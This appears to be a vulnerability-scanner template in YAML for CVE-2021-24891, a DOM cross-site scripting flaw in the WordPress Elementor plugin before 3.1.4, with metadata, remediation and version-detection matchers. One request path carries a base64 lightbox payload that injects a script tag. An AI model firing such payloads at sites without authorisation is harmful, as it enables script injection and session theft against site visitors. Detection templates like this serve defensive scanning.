60 lines
1.9 KiB
YAML
60 lines
1.9 KiB
YAML
id: CVE-2021-24891
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info:
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name: WordPress Elementor Website Builder <3.1.4 - Cross-Site Scripting
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author: dhiyaneshDk
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severity: medium
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description: |
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WordPress Elementor Website Builder plugin before 3.1.4 contains a DOM cross-site scripting vulnerability. It does not sanitize or escape user input appended to the DOM via a malicious hash.
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remediation: |
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Update WordPress Elementor Website Builder to version 3.1.4 or later to mitigate this vulnerability.
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reference:
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- https://www.jbelamor.com/xss-elementor-lightox.html
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- https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24891
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24891
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cwe-id: CWE-79
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epss-score: 0.00116
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epss-percentile: 0.45009
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cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: elementor
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product: website_builder
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framework: wordpress
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tags: wordpress,wp-plugin,elementor,wpscan,cve,cve2021,dom,xss
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http:
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- method: GET
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path:
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- "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"
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- "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9"
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200
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- type: regex
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part: body_1
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regex:
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- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
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extractors:
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- type: regex
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name: version
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group: 1
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regex:
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- "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"
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internal: true
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- type: kval
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kval:
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- version
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